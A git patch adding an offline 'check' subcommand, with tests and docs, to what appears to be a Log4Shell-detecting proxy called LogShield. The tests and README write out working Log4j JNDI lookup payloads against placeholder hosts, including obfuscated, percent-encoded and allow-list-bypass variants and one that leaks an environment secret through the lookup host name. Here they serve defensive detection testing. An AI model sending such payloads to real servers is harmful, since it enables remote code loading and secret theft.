From 111168926a1c52eef7ac6320b91cfbbd4af7e078 Mon Sep 17 00:00:00 2001 From: Pranav Verma Date: Sat, 17 Oct 2026 16:09:14 +0000 Subject: [PATCH] Add logshield check to explain the verdict for one payload Runs a payload through the same engine without a proxy or a network, prints the verdict, rules, decoding path and CVEs with defanged output, and exits 0, 3 or 4 so scripts can use it. Includes -json, -in, stdin input, tests, README and proxy docs. --- CHANGELOG.md | 1 + README.md | 33 +++++ cmd/logshield/check.go | 249 ++++++++++++++++++++++++++++++++++++ cmd/logshield/check_test.go | 220 +++++++++++++++++++++++++++++++ cmd/logshield/main.go | 7 + docs/proxy.md | 37 ++++++ 6 files changed, 547 insertions(+) create mode 100644 cmd/logshield/check.go create mode 100644 cmd/logshield/check_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index d0d5f85..266ca03 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,6 +7,7 @@ follow [Semantic Versioning](https://semver.org/) from the first tagged release. ## [Unreleased] ### Added +- `logshield check`: explain what the engine thinks of one payload (verdict, rules, decoding path, CVEs) without a proxy or a network. Defanged output, `-json`, script-friendly exit codes (0 clean, 3 suspicious, 4 malicious). - `GOVERNANCE.md`, and a documented advisory and CVE process in `SECURITY.md`. - Log-event schema in `docs/observability.md`, and tests that fail when a metric or a log field is added, renamed or retyped without being documented. - CISA secure-by-design mapping in `docs/assurance.md`, including why monitor mode is the default. diff --git a/README.md b/README.md index f5fa0d1..006ddc2 100644 --- a/README.md +++ b/README.md @@ -194,6 +194,38 @@ live `${`, so the log itself cannot re-trigger a vulnerable log pipeline): "scheme":"ldap","evidence":"ldap://attacker.invalid/a"}]} ``` +### Try a payload without a proxy + +`logshield check` runs one payload through the same engine and explains the +verdict. It needs no upstream, opens no network connection and forwards +nothing, so it is the quickest way to see what LogShield does with a string, to +write a rule exception, or to put a case in a bug report. Its output is +defanged, so it is safe to paste into a ticket or a log. + +```console +$ logshield check '${${lower:j}ndi:ldap://attacker.invalid/a}' +input: $%7B$%7Blower:j}ndi:ldap://attacker.invalid/a} + (defanged so it is safe to paste: dollar-brace becomes $%7B and % becomes %25) +placed: header User-Agent +verdict: MALICIOUS + block mode would BLOCK this request (monitor mode records it only) + +LSH-1002 jndi-lookup-evasive [malicious] at header-value:User-Agent + JNDI scheme: ldap + evidence: ldap://attacker.invalid/a + CVE-2021-44228 + +LSH-2002 log4j-lookup-in-input [suspicious] at header-value:User-Agent + evidence: lower + CVE-2021-44228 +``` + +The exit code is `0` clean, `3` suspicious, `4` malicious (and `2` for a usage +error), so it works in scripts. `-in query|path|cookie|body` chooses where the +payload sits, `-json` prints machine-readable output, `-` reads the payload from +standard input, and `-disable-rule` and `-block-suspicious` mirror the proxy. +Details: [docs/proxy.md](docs/proxy.md#explaining-a-verdict-logshield-check). + ### Options | Flag | Default | Meaning | @@ -217,6 +249,7 @@ live `${`, so the log itself cannot re-trigger a vulnerable log pipeline): | `-config` | none | JSON configuration file; environment variables `LOGSHIELD_*` and flags override it ([configuration](docs/configuration.md)). | | `-check-config` | | Validate everything, print the effective configuration, and exit. | | `-version` | | Print version and exit. | +| `check PAYLOAD` | | Subcommand: explain the verdict for one payload and exit (see above). | Details, policies and limitations: [docs/proxy.md](docs/proxy.md). diff --git a/cmd/logshield/check.go b/cmd/logshield/check.go new file mode 100644 index 0000000..9237a42 --- /dev/null +++ b/cmd/logshield/check.go @@ -0,0 +1,249 @@ +package main + +import ( + "encoding/json" + "errors" + "flag" + "fmt" + "io" + "net/url" + "strings" + + "github.com/TurlaFSB/logshield/internal/engine" +) + +// Exit codes of "logshield check". They are separate from the usage (2) and +// runtime (1) errors so a script can tell "flagged" from "could not run". +const ( + checkExitClean = 0 + checkExitSuspicious = 3 + checkExitMalicious = 4 +) + +// maxCheckInput bounds what "check" reads from standard input. +const maxCheckInput = 1 << 20 + +// Places "check" can put the payload. +const ( + inHeader = "header" + inQuery = "query" + inPath = "path" + inCookie = "cookie" + inBody = "body" +) + +const checkUsage = `usage: logshield check [flags] PAYLOAD + logshield check [flags] - (read the payload from standard input) + +Runs one payload through the same detection engine the proxy uses and explains +the verdict. It makes no network connection and never forwards anything. + +Flags: +` + +// runCheck implements "logshield check". It returns 0 (clean), 3 (suspicious), +// 4 (malicious), 1 (could not read the input) or 2 (usage error). +func runCheck(args []string, stdin io.Reader, stdout, stderr io.Writer) int { + fs := flag.NewFlagSet("logshield check", flag.ContinueOnError) + fs.SetOutput(stderr) + fs.Usage = func() { + _, _ = fmt.Fprint(stderr, checkUsage) + fs.PrintDefaults() + } + var ( + in = fs.String("in", inHeader, "where the payload sits in the request: header, query, path, cookie or body") + name = fs.String("name", "", "header, query or cookie name to use (default User-Agent, q, or s)") + strict = fs.Bool("block-suspicious", false, "report whether block mode would also block suspicious verdicts") + asJSON = fs.Bool("json", false, "print the result as JSON") + disable listFlag + ) + fs.Var(&disable, "disable-rule", "rule ID to switch off, as in the proxy (repeatable)") + if err := fs.Parse(args); err != nil { + if errors.Is(err, flag.ErrHelp) { + return 0 + } + return 2 + } + if fs.NArg() != 1 { + _, _ = fmt.Fprintln(stderr, "logshield check: expected exactly one PAYLOAD argument (or - for standard input)") + fs.Usage() + return 2 + } + + payload := fs.Arg(0) + if payload == "-" { + raw, err := io.ReadAll(io.LimitReader(stdin, maxCheckInput+1)) + if err != nil { + _, _ = fmt.Fprintf(stderr, "logshield check: reading standard input: %v\n", err) + return 1 + } + if len(raw) > maxCheckInput { + _, _ = fmt.Fprintf(stderr, "logshield check: input is larger than %d bytes\n", maxCheckInput) + return 2 + } + payload = strings.TrimSuffix(strings.TrimSuffix(string(raw), "\n"), "\r") + } + + req, where, err := checkRequest(*in, *name, payload) + if err != nil { + _, _ = fmt.Fprintf(stderr, "logshield check: %v\n", err) + return 2 + } + cfg := engine.Config{} + for _, id := range disable { + cfg.Disabled = append(cfg.Disabled, engine.RuleID(id)) + } + if err := cfg.Validate(); err != nil { + _, _ = fmt.Fprintf(stderr, "logshield check: invalid configuration:\n%v\n", err) + return 2 + } + + verdict := engine.Inspect(req, cfg) + rep := newCheckReport(payload, where, verdict, *strict) + if *asJSON { + enc := json.NewEncoder(stdout) + enc.SetIndent("", " ") + _ = enc.Encode(rep) + } else { + rep.writeText(stdout) + } + switch verdict.Decision { + case engine.DecisionMalicious: + return checkExitMalicious + case engine.DecisionSuspicious: + return checkExitSuspicious + default: + return checkExitClean + } +} + +// checkRequest builds the request the payload would arrive in. The payload is +// placed exactly as given: percent-encode it yourself if a real client would. +func checkRequest(in, name, payload string) (engine.Request, string, error) { + req := engine.Request{Method: "GET", Target: "/"} + switch in { + case inHeader: + if name == "" { + name = "User-Agent" + } + req.Headers = []engine.Header{{Name: name, Value: payload}} + return req, "header " + name, nil + case inCookie: + if name == "" { + name = "s" + } + req.Headers = []engine.Header{{Name: "Cookie", Value: name + "=" + payload}} + return req, "cookie " + name, nil + case inQuery: + if name == "" { + name = "q" + } + req.Target = "/?" + url.QueryEscape(name) + "=" + payload + return req, "query parameter " + name, nil + case inPath: + req.Target = "/" + payload + return req, "path", nil + case inBody: + req.Method = "POST" + req.Headers = []engine.Header{{Name: "Content-Type", Value: "text/plain"}} + req.Body = []byte(payload) + return req, "body", nil + default: + return req, "", fmt.Errorf("unknown -in %q: use header, query, path, cookie or body", in) + } +} + +// checkDetection is one finding, in the JSON output and the text output. +type checkDetection struct { + Rule string `json:"rule"` + Name string `json:"name"` + Severity string `json:"severity"` + Location string `json:"location"` + Decoded []string `json:"decoded_via,omitempty"` + Scheme string `json:"scheme,omitempty"` + Evidence string `json:"evidence,omitempty"` + Leaks []string `json:"key_lookups,omitempty"` + CVEs []string `json:"cves,omitempty"` +} + +// checkReport is the full result of one check. +type checkReport struct { + Input string `json:"input"` + Placed string `json:"placed_in"` + Decision string `json:"decision"` + WouldBlock bool `json:"would_block_in_block_mode"` + Complete bool `json:"analysis_complete"` + Exhausted string `json:"budget_exhausted,omitempty"` + FieldsInspected int `json:"fields_inspected"` + Detections []checkDetection `json:"detections"` +} + +func newCheckReport(payload, where string, v engine.Verdict, strict bool) checkReport { + rep := checkReport{ + // Defanged, so the report is safe to paste into a log or a terminal. + Input: engine.Defang(payload, 200), + Placed: where, + Decision: v.Decision.String(), + WouldBlock: v.Decision == engine.DecisionMalicious || (v.Decision == engine.DecisionSuspicious && strict), + Complete: v.Complete(), + FieldsInspected: v.FieldsInspected, + Detections: []checkDetection{}, + } + if !v.Complete() { + rep.Exhausted = v.Exhausted.String() + } + info := map[engine.RuleID]engine.RuleInfo{} + for _, r := range engine.Rules() { + info[r.ID] = r + } + for _, d := range v.Detections { + ri := info[d.Rule] + cd := checkDetection{ + Rule: string(d.Rule), Name: ri.Name, Severity: d.Severity.String(), + Location: d.Location.String(), Scheme: d.Scheme, Evidence: d.Evidence, + Leaks: d.KeyLookups, CVEs: ri.CVEs, + } + for _, t := range d.Path { + cd.Decoded = append(cd.Decoded, string(t)) + } + rep.Detections = append(rep.Detections, cd) + } + return rep +} + +func (r checkReport) writeText(w io.Writer) { + p := func(format string, a ...any) { _, _ = fmt.Fprintf(w, format, a...) } + p("input: %s\n", r.Input) + p(" (defanged so it is safe to paste: dollar-brace becomes $%%7B and %% becomes %%25)\n") + p("placed: %s\n", r.Placed) + p("verdict: %s\n", strings.ToUpper(r.Decision)) + switch { + case r.WouldBlock: + p(" block mode would BLOCK this request (monitor mode records it only)\n") + case r.Decision == "suspicious": + p(" block mode would let it through and record it (add -block-suspicious to block)\n") + case r.Decision == "clean": + p(" nothing detected: block mode would forward it\n") + } + if !r.Complete { + p(" analysis stopped at a resource limit (%s); the engine fails closed\n", r.Exhausted) + } + for _, d := range r.Detections { + p("\n%s %s [%s] at %s\n", d.Rule, d.Name, d.Severity, d.Location) + if len(d.Decoded) > 0 { + p(" revealed after decoding: %s\n", strings.Join(d.Decoded, " -> ")) + } + if d.Scheme != "" { + p(" JNDI scheme: %s\n", d.Scheme) + } + if d.Evidence != "" { + p(" evidence: %s\n", d.Evidence) + } + if len(d.Leaks) > 0 { + p(" would leak lookups: %s\n", strings.Join(d.Leaks, ", ")) + } + if len(d.CVEs) > 0 { + p(" %s\n", strings.Join(d.CVEs, ", ")) + } + } +} diff --git a/cmd/logshield/check_test.go b/cmd/logshield/check_test.go new file mode 100644 index 0000000..2fa97f7 --- /dev/null +++ b/cmd/logshield/check_test.go @@ -0,0 +1,220 @@ +package main + +import ( + "bytes" + "encoding/json" + "strings" + "testing" +) + +// check runs "logshield check" and returns its exit code and output. +func check(t *testing.T, stdin string, args ...string) (code int, stdout, stderr string) { + t.Helper() + var out, errb bytes.Buffer + code = runCheck(args, strings.NewReader(stdin), &out, &errb) + return code, out.String(), errb.String() +} + +func TestCheckVerdictsAndExitCodes(t *testing.T) { + tests := []struct { + name string + args []string + wantCode int + want []string // substrings of the text output + }{ + { + name: "ordinary input is clean", + args: []string{"Mozilla/5.0 (X11; Linux x86_64)"}, + wantCode: checkExitClean, + want: []string{"verdict: CLEAN", "would forward it"}, + }, + { + name: "plain JNDI lookup", + args: []string{"${jndi:ldap://evil.example/a}"}, + wantCode: checkExitMalicious, + want: []string{"MALICIOUS", "would BLOCK", "LSH-1001", "JNDI scheme: ldap", "CVE-2021-44228"}, + }, + { + name: "obfuscated lookup says how it was revealed", + args: []string{"${${lower:j}ndi:ldap://evil.example/a}"}, + wantCode: checkExitMalicious, + want: []string{"LSH-1002", "jndi-lookup-evasive"}, + }, + { + name: "percent-encoded payload in a query value", + args: []string{"-in", "query", "%24%7Bjndi:ldap://evil.example/a%7D"}, + wantCode: checkExitMalicious, + want: []string{"query parameter q", "revealed after decoding: percent"}, + }, + { + name: "path", + args: []string{"-in", "path", "%24%7Bjndi:ldap://evil.example/a%7D"}, + wantCode: checkExitMalicious, + want: []string{"placed: path"}, + }, + { + name: "cookie with a custom name", + args: []string{"-in", "cookie", "-name", "session", "${jndi:ldap://evil.example/a}"}, + wantCode: checkExitMalicious, + want: []string{"cookie session"}, + }, + { + name: "body", + args: []string{"-in", "body", "${jndi:ldap://evil.example/a}"}, + wantCode: checkExitMalicious, + want: []string{"placed: body"}, + }, + { + name: "suspicious is not blocked by default", + args: []string{"${env:HOME}"}, + wantCode: checkExitSuspicious, + want: []string{"SUSPICIOUS", "let it through", "LSH-2002"}, + }, + { + name: "suspicious is blocked in strict mode", + args: []string{"-block-suspicious", "${env:HOME}"}, + wantCode: checkExitSuspicious, + want: []string{"SUSPICIOUS", "would BLOCK"}, + }, + { + name: "key exfiltration lists what would leak", + args: []string{"${jndi:ldap://${env:SECRET}.evil.example/a}"}, + wantCode: checkExitMalicious, + want: []string{"LSH-1004", "would leak lookups"}, + }, + { + name: "host allow-list bypass", + args: []string{"${jndi:ldap://127.0.0.1#evil.example/a}"}, + wantCode: checkExitMalicious, + want: []string{"LSH-1005", "CVE-2021-45046"}, + }, + { + name: "a rule can be disabled as in the proxy", + args: []string{"-disable-rule", "LSH-2002", "${env:HOME}"}, + wantCode: checkExitClean, + want: []string{"CLEAN"}, + }, + { + name: "resource limits fail closed and say so", + args: []string{strings.Repeat("${", 400) + "x" + strings.Repeat("}", 400)}, + wantCode: checkExitMalicious, + want: []string{"analysis stopped at a resource limit", "LSH-3002"}, + }, + } + for _, tc := range tests { + t.Run(tc.name, func(t *testing.T) { + code, out, errs := check(t, "", tc.args...) + if code != tc.wantCode { + t.Fatalf("exit code = %d, want %d\nstdout:\n%s\nstderr:\n%s", code, tc.wantCode, out, errs) + } + for _, w := range tc.want { + if !strings.Contains(out, w) { + t.Errorf("output lacks %q:\n%s", w, out) + } + } + }) + } +} + +// The tool is for people who paste attack strings, often into a shell history, +// a ticket or a log. Nothing it prints may contain a live "${". +func TestCheckOutputIsDefanged(t *testing.T) { + payload := "${${lower:j}ndi:ldap://${env:SECRET}.evil.example/a}" + for _, args := range [][]string{{payload}, {"-json", payload}, {"-in", "query", payload}} { + _, out, errs := check(t, "", args...) + if strings.Contains(out, "${") || strings.Contains(errs, "${") { + t.Errorf("args %q: output contains a live lookup:\n%s%s", args, out, errs) + } + } +} + +func TestCheckReadsStandardInput(t *testing.T) { + code, out, _ := check(t, "${jndi:ldap://evil.example/a}\n", "-") + if code != checkExitMalicious { + t.Fatalf("exit code = %d, want %d\n%s", code, checkExitMalicious, out) + } + // The trailing newline of echo is not part of the payload. + if strings.Contains(out, "%0A") { + t.Errorf("trailing newline was treated as payload:\n%s", out) + } + if code, _, errs := check(t, strings.Repeat("a", maxCheckInput+1), "-"); code != 2 || !strings.Contains(errs, "larger than") { + t.Errorf("oversized input: code=%d stderr=%q", code, errs) + } +} + +func TestCheckJSON(t *testing.T) { + code, out, _ := check(t, "", "-json", "${${lower:j}ndi:ldap://evil.example/a}") + if code != checkExitMalicious { + t.Fatalf("exit code = %d", code) + } + var rep map[string]any + if err := json.Unmarshal([]byte(out), &rep); err != nil { + t.Fatalf("output is not JSON: %v\n%s", err, out) + } + for _, k := range []string{"input", "placed_in", "decision", "would_block_in_block_mode", "analysis_complete", "fields_inspected", "detections"} { + if _, ok := rep[k]; !ok { + t.Errorf("JSON lacks %q", k) + } + } + if rep["decision"] != "malicious" || rep["would_block_in_block_mode"] != true { + t.Errorf("decision = %v, would_block = %v", rep["decision"], rep["would_block_in_block_mode"]) + } + dets, _ := rep["detections"].([]any) + if len(dets) == 0 { + t.Fatal("no detections in JSON") + } + first, _ := dets[0].(map[string]any) + for _, k := range []string{"rule", "name", "severity", "location"} { + if _, ok := first[k]; !ok { + t.Errorf("detection lacks %q", k) + } + } + + // A clean result still has an empty list, not null, so consumers can range over it. + _, out, _ = check(t, "", "-json", "hello") + if !strings.Contains(out, `"detections": []`) { + t.Errorf("clean result should have an empty detections array:\n%s", out) + } +} + +func TestCheckUsageErrors(t *testing.T) { + tests := []struct { + name string + args []string + want string + }{ + {"no payload", nil, "expected exactly one PAYLOAD"}, + {"two payloads", []string{"a", "b"}, "expected exactly one PAYLOAD"}, + {"unknown place", []string{"-in", "elsewhere", "x"}, "unknown -in"}, + {"unknown flag", []string{"-nope", "x"}, "flag provided but not defined"}, + {"unknown rule", []string{"-disable-rule", "LSH-9999", "x"}, "unknown rule"}, + {"mandatory rule", []string{"-disable-rule", "LSH-3001", "x"}, "mandatory"}, + } + for _, tc := range tests { + t.Run(tc.name, func(t *testing.T) { + code, out, errs := check(t, "", tc.args...) + if code != 2 { + t.Fatalf("exit code = %d, want 2", code) + } + if out != "" { + t.Errorf("usage errors must not print a verdict: %q", out) + } + if !strings.Contains(errs, tc.want) { + t.Errorf("stderr lacks %q:\n%s", tc.want, errs) + } + }) + } + if code, _, _ := check(t, "", "-h"); code != 0 { + t.Errorf("-h exit code = %d, want 0", code) + } +} + +// "check" is reached through the real entry point, so the proxy's own +// "-upstream is required" rule does not apply to it. +func TestRunDispatchesCheck(t *testing.T) { + var out, errb bytes.Buffer + code := run(t.Context(), []string{"check", "${jndi:ldap://evil.example/a}"}, &out, &errb, nil) + if code != checkExitMalicious || !strings.Contains(out.String(), "LSH-1001") { + t.Fatalf("code=%d\nstdout:\n%s\nstderr:\n%s", code, out.String(), errb.String()) + } +} diff --git a/cmd/logshield/main.go b/cmd/logshield/main.go index 00d2f35..abbf32f 100644 --- a/cmd/logshield/main.go +++ b/cmd/logshield/main.go @@ -49,8 +49,15 @@ const shutdownTimeout = 15 * time.Second // ready, if not nil, is called with the listening address once the proxy is // accepting connections. func run(ctx context.Context, args []string, stdout, stderr io.Writer, ready func(addr string)) int { + if len(args) > 0 && args[0] == "check" { + return runCheck(args[1:], os.Stdin, stdout, stderr) + } fs := flag.NewFlagSet("logshield", flag.ContinueOnError) fs.SetOutput(stderr) + fs.Usage = func() { + _, _ = fmt.Fprint(stderr, "usage: logshield -upstream URL [flags]\n logshield check [flags] PAYLOAD (explain what the engine thinks of one payload)\n\nFlags:\n") + fs.PrintDefaults() + } d := config.Defaults() var ( showVersion = fs.Bool("version", false, "print version information and exit") diff --git a/docs/proxy.md b/docs/proxy.md index 3c088ad..f95d3e5 100644 --- a/docs/proxy.md +++ b/docs/proxy.md @@ -26,6 +26,43 @@ logshield -upstream http://10.0.0.5:8080 -listen 127.0.0.1:8080 -mode block | `-log-level` | `info` | `debug`, `info`, `warn`, `error`. | | `-config`, `-check-config`, `-disable-rule` | | File-based configuration, validation, rule tuning: see [configuration](configuration.md). | +## Explaining a verdict: `logshield check` + +``` +logshield check [flags] PAYLOAD +echo '${jndi:ldap://attacker.invalid/a}' | logshield check - +``` + +`check` builds a small request around the payload, runs the same engine with the +same defaults as the proxy, and prints what it found: the verdict, whether block +mode would reject it, and for every detection the rule, where it was found, which +decoding steps revealed it, and the CVE. It makes no network connection and +forwards nothing. + +| Flag | Default | Meaning | +|---|---|---| +| `-in` | `header` | Where the payload sits: `header`, `query`, `path`, `cookie` or `body`. | +| `-name` | `User-Agent`, `q`, `s` | Header, query parameter or cookie name for `-in header`, `query` or `cookie`. | +| `-json` | off | Print the result as JSON (`decision`, `would_block_in_block_mode`, `detections`, ...). | +| `-block-suspicious` | off | Report whether strict block mode would also reject a suspicious verdict. | +| `-disable-rule` | none | Switch off a non-mandatory rule, exactly as in the proxy. Repeatable. | + +The payload is placed exactly as given. Percent-encode it yourself if a real +client would (`-in query '%24%7Bjndi:...'`), because the engine decodes the layers +a real stack would. + +| Exit code | Meaning | +|---|---| +| `0` | Clean. | +| `3` | Suspicious. | +| `4` | Malicious, or the engine hit a resource limit and failed closed. | +| `1` / `2` | Could not read the input / usage error. | + +Everything `check` prints about the payload is defanged (a dollar sign followed +by a brace never appears), so its output can be pasted into a log or a ticket. +Standard input is limited to 1 MiB. The text layout is meant for people and may +change; the JSON field names and the exit codes are the parts to script against. + **Monitor is the default** so a first deployment cannot break traffic. The process says so at startup. Use `-mode block` once the logs look right.